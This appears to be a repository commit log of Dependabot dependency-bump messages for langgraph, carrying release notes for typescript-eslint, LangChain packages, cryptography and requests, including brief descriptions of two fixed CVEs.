<li><strong>eslint-plugin:</strong> crash in <code>no-unnecessary-type-arguments</code> (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12163">#12163</a>)</li> <li><strong>eslint-plugin:</strong> [no-extraneous-class] handle index signatures (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12142">#12142</a>)</li> <li><strong>eslint-plugin:</strong> [prefer-regexp-exec] avoid fixing unknown RegExp flags (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12161">#12161</a>)</li> </ul> <h3>❤️ Thank You</h3> <ul> <li>ej shafran <a href="https://github.com/ej-shafran"><code>@​ej-shafran</code></a></li> <li>Evyatar Daud <a href="https://github.com/StyleShit"><code>@​StyleShit</code></a></li> <li>GG ZIBLAKING</li> <li>milkboy2564 <a href="https://github.com/SeolJaeHyeok"><code>@​SeolJaeHyeok</code></a></li> <li>teee32 <a href="https://github.com/teee32"><code>@​teee32</code></a></li> </ul> <p>See <a href="https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.58.0">GitHub Releases</a> for more information.</p> <p>You can read about our <a href="https://typescript-eslint.io/users/versioning">versioning strategy</a> and <a href="https://typescript-eslint.io/users/releases">releases</a> on our website.</p> <h2>v8.57.2</h2> <h2>8.57.2 (2026-03-23)</h2> <h3>🩹 Fixes</h3> <ul> <li><strong>eslint-plugin:</strong> [prefer-optional-chain] remove dangling closing parenthesis (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/11865">#11865</a>)</li> <li><strong>eslint-plugin:</strong> [array-type] ignore Array and ReadonlyArray without type arguments (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/11971">#11971</a>)</li> <li><strong>eslint-plugin:</strong> [no-restricted-types] flag banned generics in extends or implements (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12120">#12120</a>)</li> <li><strong>eslint-plugin:</strong> [no-unsafe-return] false positive on unwrapping generic (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12125">#12125</a>)</li> <li><strong>eslint-plugin:</strong> [no-unsafe-return] false positive on unwrapping generic (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12125">#12125</a>)</li> <li><strong>eslint-plugin:</strong> [no-useless-default-assignment] skip reporting false positives for unresolved type parameters (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12127">#12127</a>)</li> <li><strong>eslint-plugin:</strong> [prefer-readonly-parameter-types] preserve type alias infomation (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/11954">#11954</a>)</li> <li><strong>typescript-estree:</strong> skip createIsolatedProgram fallback for projectService (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12066">#12066</a>, <a href="https://redirect.github.com/typescript-eslint/typescript-eslint/issues/12065">#12065</a>)</li> </ul> <h3>❤️ Thank You</h3> <ul> <li>Kirk Waiblinger <a href="https://github.com/kirkwaiblinger"><code>@​kirkwaiblinger</code></a></li> <li>Konv Suu</li> <li>mdm317</li> <li>Newton Yuan <a href="https://github.com/NewtonYuan"><code>@​NewtonYuan</code></a></li> <li>RyoheiYamamoto</li> <li>SungHyun627 <a href="https://github.com/SungHyun627"><code>@​SungHyun627</code></a></li> <li>Tamashoo <a href="https://github.com/Tamashoo"><code>@​Tamashoo</code></a></li> </ul> <p>See <a href="https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.57.2">GitHub Releases</a> for more information.</p> <!-- raw HTML omitted --> </blockquote> <p>... (truncated)</p> </details> <details> <summary>Changelog</summary> <p><em>Sourced from <a href="https://github.com/typescript-eslint/typescript-eslint/blob/main/packages/parser/CHANGELOG.md"><code>@​typescript-eslint/parser</code>'s changelog</a>.</em></p> <blockquote> <h2>8.58.0 (2026-03-30)</h2> <h3>🚀 Features</h3> <ul> <li>support TypeScript 6 (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12124">#12124</a>)</li> </ul> <h3>❤️ Thank You</h3> <ul> <li>Evyatar Daud <a href="https://github.com/StyleShit"><code>@​StyleShit</code></a></li> </ul> <p>See <a href="https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.58.0">GitHub Releases</a> for more information.</p> <p>You can read about our <a href="https://typescript-eslint.io/users/versioning">versioning strategy</a> and <a href="https://typescript-eslint.io/users/releases">releases</a> on our website.</p> <h2>8.57.2 (2026-03-23)</h2> <p>This was a version bump only for parser to align it with other projects, there were no code changes.</p> <p>See <a href="https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.57.2">GitHub Releases</a> for more information.</p> <p>You can read about our <a href="https://typescript-eslint.io/users/versioning">versioning strategy</a> and <a href="https://typescript-eslint.io/users/releases">releases</a> on our website.</p> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/493341709fe7d1d6433332b7bd2724e3332c7cdf"><code>4933417</code></a> chore(release): publish 8.58.0</li> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/8cde2d06fb9bc591a4c93452509ddbd600c76a35"><code>8cde2d0</code></a> feat: support TypeScript 6 (<a href="https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/parser/issues/12124">#12124</a>)</li> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/be4d54d26e695cc93605ffcca67dd75848e95c6f"><code>be4d54d</code></a> chore(release): publish 8.57.2</li> <li>See full diff in <a href="https://github.com/typescript-eslint/typescript-eslint/commits/v8.58.0/packages/parser">compare view</a></li> </ul> </details> <br /> Updates `@langchain/core` from 1.1.35 to 1.1.38 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/langchain-ai/langchainjs/releases"><code>@​langchain/core</code>'s releases</a>.</em></p> <blockquote> <h2><code>@​langchain/core</code><a href="https://github.com/1"><code>@​1</code></a>.1.38</h2> <h3>Patch Changes</h3> <ul> <li><a href="https://redirect.github.com/langchain-ai/langchainjs/pull/10552">#10552</a> <a href="https://github.com/langchain-ai/langchainjs/commit/589ab9be391a5d6c104f34877fc1b3e2a32fa449"><code>589ab9b</code></a> Thanks <a href="https://github.com/christian-bromann"><code>@​christian-bromann</code></a>! - fix(langchain): accept cross-version runnable models in createAgent</li> </ul> <h2><code>@​langchain/core</code><a href="https://github.com/1"><code>@​1</code></a>.1.37</h2> <h3>Patch Changes</h3> <ul> <li> <p><a href="https://redirect.github.com/langchain-ai/langchainjs/pull/10511">#10511</a> <a href="https://github.com/langchain-ai/langchainjs/commit/6933769836fe3cec835588e5f8db9883200865f6"><code>6933769</code></a> Thanks <a href="https://github.com/hntrl"><code>@​hntrl</code></a>! - cache Zod-to-JSON-Schema conversions in toJsonSchema()</p> </li> <li> <p><a href="https://redirect.github.com/langchain-ai/langchainjs/pull/10541">#10541</a> <a href="https://github.com/langchain-ai/langchainjs/commit/50d5f32fd30cabebf058b1c13255c1daadde6107"><code>50d5f32</code></a> Thanks <a href="https://github.com/jacoblee93"><code>@​jacoblee93</code></a>! - revert: Revert &quot;feat(core): Add all chat model/llm invocation params to metadata&quot;</p> </li> <li> <p><a href="https://redirect.github.com/langchain-ai/langchainjs/pull/10509">#10509</a> <a href="https://github.com/langchain-ai/langchainjs/commit/555299917c90322e25d7671bad2e20c9b104bad6"><code>5552999</code></a> Thanks <a href="https://github.com/hntrl"><code>@​hntrl</code></a>! - feat(openai): add support for phase parameter on Responses API messages</p> <ul> <li>Extract <code>phase</code> from message output items and surface it on text content blocks</li> <li>Support phase in streaming via <code>response.output_item.added</code> events</li> <li>Round-trip phase through both raw provider and standard content paths</li> <li>Move phase into <code>extras</code> dict in the core standard content translator</li> </ul> </li> <li> <p><a href="https://redirect.github.com/langchain-ai/langchainjs/pull/10528">#10528</a> <a href="https://github.com/langchain-ai/langchainjs/commit/8331833c93ba907063c9fe28e9f935ed5dfec11c"><code>8331833</code></a> Thanks <a href="https://github.com/christian-bromann"><code>@​christian-bromann</code></a>! - fix(core): normalize single-block content in mergeContent</p> </li> </ul> <h2><code>@​langchain/core</code><a href="https://github.com/1"><code>@​1</code></a>.1.36</h2> <h3>Patch Changes</h3> <ul> <li> <p><a href="https://redirect.github.com/langchain-ai/langchainjs/pull/10512">#10512</a> <a href="https://github.com/langchain-ai/langchainjs/commit/bbbfea185c0777ae06df2b24a1a84f941d499c2a"><code>bbbfea1</code></a> Thanks <a href="https://github.com/hntrl"><code>@​hntrl</code></a>! - fix(core): fix streaming chunk merge for providers without <code>index</code> on tool call deltas</p> <p><code>_mergeLists</code> now falls back to <code>id</code>-based matching when items don't have an <code>index</code> field. Previously, providers routing through the OpenAI-compatible API without <code>index</code> on streaming tool call deltas (e.g. Anthropic models via <code>ChatOpenAI</code>) would accumulate hundreds of individual raw deltas in <code>tool_call_chunks</code> and <code>additional_kwargs.tool_calls</code> instead of merging them into a single entry per tool call. In a real trace with 3 concurrent subagents, this caused a single AI message to balloon from ~4KB to 146KB -- with 826 uncollapsed streaming fragments carrying a few bytes each.</p> <p>Also fixes <code>SystemMessage.concat()</code> which used <code>...this</code> to spread all instance properties (including <code>lc_kwargs</code>) into the new constructor, causing each chained <code>concat()</code> call to nest one level deeper. After 7 middleware <code>concat()</code> calls (typical in deepagents), a 7KB system prompt would serialize to 81KB due to content being duplicated at every nesting level.</p> </li> </ul> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/langchain-ai/langchainjs/commit/6b914bceb4acd4664b12091770a2ddcbf5d8457e"><code>6b914bc</code></a> chore: version packages (<a href="https://redirect.github.com/langchain-ai/langchainjs/issues/10553">#10553</a>)</li> <li><a href="https://github.com/langchain-ai/langchainjs/commit/7ed93b8b8a6e9eb0da3e103d74087c692fee2773"><code>7ed93b8</code></a> fix(langchain): allow dynamic tools in wrapModelCall with wrapToolCall (<a href="https://redirect.github.com/langchain-ai/langchainjs/issues/10543">#10543</a>)</li> <li><a href="https://github.com/langchain-ai/langchainjs/commit/9270c48d7a95db6e7e2570a7e681c94479a673d0"><code>9270c48</code></a> fix(openai): preserve reasoning_content in ChatOpenAICompletions (<a href="https://redirect.github.com/langchain-ai/langchainjs/issues/10551">#10551</a>)</li> <li><a href="https://github.com/langchain-ai/langchainjs/commit/f54805305787fa383c3ce1e287daafdb5464a98b"><code>f548053</code></a> fix(langchain): bump langgraph dep (<a href="https://redirect.github.com/langchain-ai/langchainjs/issues/10555">#10555</a>)</li> <li><a href="https://github.com/langchain-ai/langchainjs/commit/11a295fdadec3809f40c10492e3fd474e832c468"><code>11a295f</code></a> fix(langchain): add support for dynamic structured output (<a href="https://redirect.github.com/langchain-ai/langchainjs/issues/10554">#10554</a>)</li> <li><a href="https://github.com/langchain-ai/langchainjs/commit/589ab9be391a5d6c104f34877fc1b3e2a32fa449"><code>589ab9b</code></a> fix(langchain): accept cross-version runnable models in createAgent (<a href="https://redirect.github.com/langchain-ai/langchainjs/issues/10552">#10552</a>)</li> <li><a href="https://github.com/langchain-ai/langchainjs/commit/cd86fea8de2130d0df60805baada81958d47c747"><code>cd86fea</code></a> fix: implement tool choice required on anthropic (<a href="https://redirect.github.com/langchain-ai/langchainjs/issues/10519">#10519</a>)</li> <li><a href="https://github.com/langchain-ai/langchainjs/commit/b57760c55a721ed65a456bbad11172e35adee177"><code>b57760c</code></a> chore: version packages (<a href="https://redirect.github.com/langchain-ai/langchainjs/issues/10516">#10516</a>)</li> <li><a href="https://github.com/langchain-ai/langchainjs/commit/6e2d29e28a8f2a84f6fbbe5755d6b4fe2d5d4fd1"><code>6e2d29e</code></a> tests(<code>@​langchain/google</code>): Lyria 3 (<a href="https://redirect.github.com/langchain-ai/langchainjs/issues/10522">#10522</a>)</li> <li><a href="https://github.com/langchain-ai/langchainjs/commit/68e0a19238be592514b6c01243c41aefaa6a7668"><code>68e0a19</code></a> fix(langchain): revert zod import in utils.ts to fix v3/v4 interop (<a href="https://redirect.github.com/langchain-ai/langchainjs/issues/10545">#10545</a>)</li> <li>Additional commits viewable in <a href="https://github.com/langchain-ai/langchainjs/compare/@langchain/core@1.1.35...@langchain/core@1.1.38">compare view</a></li> </ul> </details> <br /> Updates `@langchain/langgraph` from 1.2.5 to 1.2.6 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/langchain-ai/langgraphjs/releases"><code>@​langchain/langgraph</code>'s releases</a>.</em></p> <blockquote> <h2><code>@​langchain/langgraph</code><a href="https://github.com/1"><code>@​1</code></a>.2.6</h2> <h3>Patch Changes</h3> <ul> <li> <p><a href="https://redirect.github.com/langchain-ai/langgraphjs/pull/2241">#2241</a> <a href="https://github.com/langchain-ai/langgraphjs/commit/6ee23e819b5da43a5a0c62560f85a9037a427630"><code>6ee23e8</code></a> Thanks <a href="https://github.com/pawel-twardziak"><code>@​pawel-twardziak</code></a>! - feat: add browser support for interrupt, writer, and other Node-only exports</p> <p>Export <code>interrupt</code>, <code>writer</code>, <code>pushMessage</code>, <code>getStore</code>, <code>getWriter</code>, <code>getConfig</code>, <code>getPreviousState</code>, <code>getCurrentTaskInput</code> from <code>web.ts</code> and add a <code>&quot;browser&quot;</code> condition to the <code>&quot;.&quot;</code> package export so browser bundlers resolve to <code>web.js</code> instead of pulling in <code>node:async_hooks</code>.</p> </li> <li> <p><a href="https://redirect.github.com/langchain-ai/langgraphjs/pull/2245">#2245</a> <a href="https://github.com/langchain-ai/langgraphjs/commit/77af97650c0f1671338911994c2e355b29489528"><code>77af976</code></a> Thanks <a href="https://github.com/hntrl"><code>@​hntrl</code></a>! - revert abort signal change that was causing problematic errors</p> </li> <li> <p><a href="https://redirect.github.com/langchain-ai/langgraphjs/pull/2242">#2242</a> <a href="https://github.com/langchain-ai/langgraphjs/commit/bdcf290198ce5cea4367ee8c9f1cbbbcf14d05e4"><code>bdcf290</code></a> Thanks <a href="https://github.com/hntrl"><code>@​hntrl</code></a>! - clean up resolved checkpointer promises to reduce memory retention</p> </li> <li> <p>Updated dependencies [<a href="https://github.com/langchain-ai/langgraphjs/commit/88726dfe222aed64e5cd5dfa6f77f886b5a0d205"><code>88726df</code></a>, <a href="https://github.com/langchain-ai/langgraphjs/commit/7dfcbffd4805b2b4cc41f07f30be57ed732786b4"><code>7dfcbff</code></a>]:</p> <ul> <li><code>@​langchain/langgraph-sdk</code><a href="https://github.com/1"><code>@​1</code></a>.8.1</li> </ul> </li> </ul> </blockquote> </details> <details> <summary>Changelog</summary> <p><em>Sourced from <a href="https://github.com/langchain-ai/langgraphjs/blob/main/libs/langgraph-core/CHANGELOG.md"><code>@​langchain/langgraph</code>'s changelog</a>.</em></p> <blockquote> <h2>1.2.6</h2> <h3>Patch Changes</h3> <ul> <li> <p><a href="https://redirect.github.com/langchain-ai/langgraphjs/pull/2241">#2241</a> <a href="https://github.com/langchain-ai/langgraphjs/commit/6ee23e819b5da43a5a0c62560f85a9037a427630"><code>6ee23e8</code></a> Thanks <a href="https://github.com/pawel-twardziak"><code>@​pawel-twardziak</code></a>! - feat: add browser support for interrupt, writer, and other Node-only exports</p> <p>Export <code>interrupt</code>, <code>writer</code>, <code>pushMessage</code>, <code>getStore</code>, <code>getWriter</code>, <code>getConfig</code>, <code>getPreviousState</code>, <code>getCurrentTaskInput</code> from <code>web.ts</code> and add a <code>&quot;browser&quot;</code> condition to the <code>&quot;.&quot;</code> package export so browser bundlers resolve to <code>web.js</code> instead of pulling in <code>node:async_hooks</code>.</p> </li> <li> <p><a href="https://redirect.github.com/langchain-ai/langgraphjs/pull/2245">#2245</a> <a href="https://github.com/langchain-ai/langgraphjs/commit/77af97650c0f1671338911994c2e355b29489528"><code>77af976</code></a> Thanks <a href="https://github.com/hntrl"><code>@​hntrl</code></a>! - revert abort signal change that was causing problematic errors</p> </li> <li> <p><a href="https://redirect.github.com/langchain-ai/langgraphjs/pull/2242">#2242</a> <a href="https://github.com/langchain-ai/langgraphjs/commit/bdcf290198ce5cea4367ee8c9f1cbbbcf14d05e4"><code>bdcf290</code></a> Thanks <a href="https://github.com/hntrl"><code>@​hntrl</code></a>! - clean up resolved checkpointer promises to reduce memory retention</p> </li> <li> <p>Updated dependencies [<a href="https://github.com/langchain-ai/langgraphjs/commit/88726dfe222aed64e5cd5dfa6f77f886b5a0d205"><code>88726df</code></a>, <a href="https://github.com/langchain-ai/langgraphjs/commit/7dfcbffd4805b2b4cc41f07f30be57ed732786b4"><code>7dfcbff</code></a>]:</p> <ul> <li><code>@​langchain/langgraph-sdk</code><a href="https://github.com/1"><code>@​1</code></a>.8.1</li> </ul> </li> </ul> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/langchain-ai/langgraphjs/commit/9905dd102e7f68d00fc026d950e8fda033c9dded"><code>9905dd1</code></a> chore: version packages (<a href="https://github.com/langchain-ai/langgraphjs/tree/HEAD/libs/langgraph-core/issues/2238">#2238</a>)</li> <li><a href="https://github.com/langchain-ai/langgraphjs/commit/bdcf290198ce5cea4367ee8c9f1cbbbcf14d05e4"><code>bdcf290</code></a> fix(langgraph): clean up resolved checkpointer promises to reduce memory rete...</li> <li><a href="https://github.com/langchain-ai/langgraphjs/commit/77af97650c0f1671338911994c2e355b29489528"><code>77af976</code></a> Revert &quot;fix(core): prevent AbortSignal listener leak in stream() and streamEv...</li> <li><a href="https://github.com/langchain-ai/langgraphjs/commit/6ee23e819b5da43a5a0c62560f85a9037a427630"><code>6ee23e8</code></a> fix: add createAgent and middleware to browser entry points (<a href="https://github.com/langchain-ai/langgraphjs/tree/HEAD/libs/langgraph-core/issues/2241">#2241</a>)</li> <li><a href="https://github.com/langchain-ai/langgraphjs/commit/20feb58300765f2eec2c028f6d3deec8b548706d"><code>20feb58</code></a> feat: Add LangSmith integration metadata to langgraph (<a href="https://github.com/langchain-ai/langgraphjs/tree/HEAD/libs/langgraph-core/issues/2193">#2193</a>)</li> <li>See full diff in <a href="https://github.com/langchain-ai/langgraphjs/commits/@langchain/langgraph@1.2.6/libs/langgraph-core">compare view</a></li> </ul> </details> <br /> Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`. [//]: # (dependabot-automerge-start) [//]: # (dependabot-automerge-end) --- <details> <summary>Dependabot commands and options</summary> <br /> You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot show <dependency name> ignore conditions` will show all of the ignore conditions of the specified dependency - `@dependabot ignore <dependency name> major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself) - `@dependabot ignore <dependency name> minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself) - `@dependabot ignore <dependency name>` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself) - `@dependabot unignore <dependency name>` will remove all of the ignore conditions of the specified dependency - `@dependabot unignore <dependency name> <ignore condition>` will remove the ignore condition of the specified dependency and ignore conditions </details> Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>	2026-04-03 19:07:27 -07:00
Asamu DavidandGitHub	b3eeb4fa1d	feat(cli): add remote build support for langgraph deploy (#7234) ... **Description:** - extend host_backend client with remote build support - refactored `cli.py` for better clarity - update tests	2026-04-02 16:39:30 +01:00
3 people	6e81c6c12c	chore(deps): bump cryptography from 46.0.5 to 46.0.6 in /libs/cli (#7325) ... Bumps [cryptography](https://github.com/pyca/cryptography) from 46.0.5 to 46.0.6. <details> <summary>Changelog</summary> <p><em>Sourced from <a href="https://github.com/pyca/cryptography/blob/main/CHANGELOG.rst">cryptography's changelog</a>.</em></p> <blockquote> <p>46.0.6 - 2026-03-25</p> <pre><code> * **SECURITY ISSUE**: Fixed a bug where name constraints were not applied to peer names during verification when the leaf certificate contains a wildcard DNS SAN. Ordinary X.509 topologies are not affected by this bug, including those used by the Web PKI. Credit to **Oleh Konko (1seal)** for reporting the issue. **CVE-2026-34073** <p>.. _v46-0-5:<br /> </code></pre></p> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/pyca/cryptography/commit/91d728897bdad30cd5c79a2b23e207f1f050d587"><code>91d7288</code></a> Cherry-pick <a href="https://redirect.github.com/pyca/cryptography/issues/14542">#14542</a> (<a href="https://redirect.github.com/pyca/cryptography/issues/14543">#14543</a>)</li> <li>See full diff in <a href="https://github.com/pyca/cryptography/compare/46.0.5...46.0.6">compare view</a></li> </ul> </details> <br /> [](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores) Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`. [//]: # (dependabot-automerge-start) [//]: # (dependabot-automerge-end) --- <details> <summary>Dependabot commands and options</summary> <br /> You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot show <dependency name> ignore conditions` will show all of the ignore conditions of the specified dependency - `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself) You can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/langchain-ai/langgraph/network/alerts). </details> Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>	2026-03-30 16:52:04 +00:00
4 people	d2f8610b1f	chore(deps): bump requests from 2.32.5 to 2.33.0 in /libs/cli (#7286) ... Bumps [requests](https://github.com/psf/requests) from 2.32.5 to 2.33.0. <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/psf/requests/releases">requests's releases</a>.</em></p> <blockquote> <h2>v2.33.0</h2> <h2>2.33.0 (2026-03-25)</h2> <p><strong>Announcements</strong></p> <ul> <li>📣 Requests is adding inline types. If you have a typed code base that uses Requests, please take a look at <a href="https://redirect.github.com/psf/requests/issues/7271">#7271</a>. Give it a try, and report any gaps or feedback you may have in the issue. 📣</li> </ul> <p><strong>Security</strong></p> <ul> <li>CVE-2026-25645 <code>requests.utils.extract_zipped_paths</code> now extracts contents to a non-deterministic location to prevent malicious file replacement. This does not affect default usage of Requests, only applications calling the utility function directly.</li> </ul> <p><strong>Improvements</strong></p> <ul> <li>Migrated to a PEP 517 build system using setuptools. (<a href="https://redirect.github.com/psf/requests/issues/7012">#7012</a>)</li> </ul> <p><strong>Bugfixes</strong></p> <ul> <li>Fixed an issue where an empty netrc entry could cause malformed authentication to be applied to Requests on Python 3.11+. (<a href="https://redirect.github.com/psf/requests/issues/7205">#7205</a>)</li> </ul> <p><strong>Deprecations</strong></p> <ul> <li>Dropped support for Python 3.9 following its end of support. (<a href="https://redirect.github.com/psf/requests/issues/7196">#7196</a>)</li> </ul> <p><strong>Documentation</strong></p> <ul> <li>Various typo fixes and doc improvements.</li> </ul> <h2>New Contributors</h2> <ul> <li><a href="https://github.com/M0d3v1"><code>@​M0d3v1</code></a> made their first contribution in <a href="https://redirect.github.com/psf/requests/pull/6865">psf/requests#6865</a></li> <li><a href="https://github.com/aminvakil"><code>@​aminvakil</code></a> made their first contribution in <a href="https://redirect.github.com/psf/requests/pull/7220">psf/requests#7220</a></li> <li><a href="https://github.com/E8Price"><code>@​E8Price</code></a> made their first contribution in <a href="https://redirect.github.com/psf/requests/pull/6960">psf/requests#6960</a></li> <li><a href="https://github.com/mitre88"><code>@​mitre88</code></a> made their first contribution in <a href="https://redirect.github.com/psf/requests/pull/7244">psf/requests#7244</a></li> <li><a href="https://github.com/magsen"><code>@​magsen</code></a> made their first contribution in <a href="https://redirect.github.com/psf/requests/pull/6553">psf/requests#6553</a></li> <li><a href="https://github.com/Rohan5commit"><code>@​Rohan5commit</code></a> made their first contribution in <a href="https://redirect.github.com/psf/requests/pull/7227">psf/requests#7227</a></li> </ul> <p><strong>Full Changelog</strong>: <a href="https://github.com/psf/requests/blob/main/HISTORY.md#2330-2026-03-25">https://github.com/psf/requests/blob/main/HISTORY.md#2330-2026-03-25</a></p> </blockquote> </details> <details> <summary>Changelog</summary> <p><em>Sourced from <a href="https://github.com/psf/requests/blob/main/HISTORY.md">requests's changelog</a>.</em></p> <blockquote> <h2>2.33.0 (2026-03-25)</h2> <p><strong>Announcements</strong></p> <ul> <li>📣 Requests is adding inline types. If you have a typed code base that uses Requests, please take a look at <a href="https://redirect.github.com/psf/requests/issues/7271">#7271</a>. Give it a try, and report any gaps or feedback you may have in the issue. 📣</li> </ul> <p><strong>Security</strong></p> <ul> <li>CVE-2026-25645 <code>requests.utils.extract_zipped_paths</code> now extracts contents to a non-deterministic location to prevent malicious file replacement. This does not affect default usage of Requests, only applications calling the utility function directly.</li> </ul> <p><strong>Improvements</strong></p> <ul> <li>Migrated to a PEP 517 build system using setuptools. (<a href="https://redirect.github.com/psf/requests/issues/7012">#7012</a>)</li> </ul> <p><strong>Bugfixes</strong></p> <ul> <li>Fixed an issue where an empty netrc entry could cause malformed authentication to be applied to Requests on Python 3.11+. (<a href="https://redirect.github.com/psf/requests/issues/7205">#7205</a>)</li> </ul> <p><strong>Deprecations</strong></p> <ul> <li>Dropped support for Python 3.9 following its end of support. (<a href="https://redirect.github.com/psf/requests/issues/7196">#7196</a>)</li> </ul> <p><strong>Documentation</strong></p> <ul> <li>Various typo fixes and doc improvements.</li> </ul> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/psf/requests/commit/bc04dfd6dad4cb02cd92f5daa81eb562d280a761"><code>bc04dfd</code></a> v2.33.0</li> <li><a href="https://github.com/psf/requests/commit/66d21cb07bd6255b1280291c4fafb71803cdb3b7"><code>66d21cb</code></a> Merge commit from fork</li> <li><a href="https://github.com/psf/requests/commit/8b9bc8fc0f63be84602387913c4b689f19efd028"><code>8b9bc8f</code></a> Move badges to top of README (<a href="https://redirect.github.com/psf/requests/issues/7293">#7293</a>)</li> <li><a href="https://github.com/psf/requests/commit/e331a288f369973f5de0ec8901c94cae4fa87286"><code>e331a28</code></a> Remove unused extraction call (<a href="https://redirect.github.com/psf/requests/issues/7292">#7292</a>)</li> <li><a href="https://github.com/psf/requests/commit/753fd08c5eacce0aa0df73fe47e49525c67e0a29"><code>753fd08</code></a> docs: fix FAQ grammar in httplib2 example</li> <li><a href="https://github.com/psf/requests/commit/774a0b837a194ee885d4fdd9ca947900cc3daf71"><code>774a0b8</code></a> docs(socks): same block as other sections</li> <li><a href="https://github.com/psf/requests/commit/9c72a41bec8597f948c9d8caa5dc3f12273b3303"><code>9c72a41</code></a> Bump github/codeql-action from 4.33.0 to 4.34.1</li> <li><a href="https://github.com/psf/requests/commit/ebf71906798ec82f34e07d3168f8b8aecaf8a3be"><code>ebf7190</code></a> Bump github/codeql-action from 4.32.0 to 4.33.0</li> <li><a href="https://github.com/psf/requests/commit/0e4ae38f0c93d4f92a96c774bd52c069d12a4798"><code>0e4ae38</code></a> docs: exclude Response.is_permanent_redirect from API docs (<a href="https://redirect.github.com/psf/requests/issues/7244">#7244</a>)</li> <li><a href="https://github.com/psf/requests/commit/d568f47278492e630cc990a259047c67991d007a"><code>d568f47</code></a> docs: clarify Quickstart POST example (<a href="https://redirect.github.com/psf/requests/issues/6960">#6960</a>)</li> <li>Additional commits viewable in <a href="https://github.com/psf/requests/compare/v2.32.5...v2.33.0">compare view</a></li> </ul> </details> <br /> [](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores) Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`. [//]: # (dependabot-automerge-start) [//]: # (dependabot-automerge-end) --- <details> <summary>Dependabot commands and options</summary> <br /> You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot show <dependency name> ignore conditions` will show all of the ignore conditions of the specified dependency - `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself) You can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/langchain-ai/langgraph/network/alerts). </details> Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> Co-authored-by: John Kennedy <65985482+jkennedyvz@users.noreply.github.com>	2026-03-30 09:45:07 -07:00
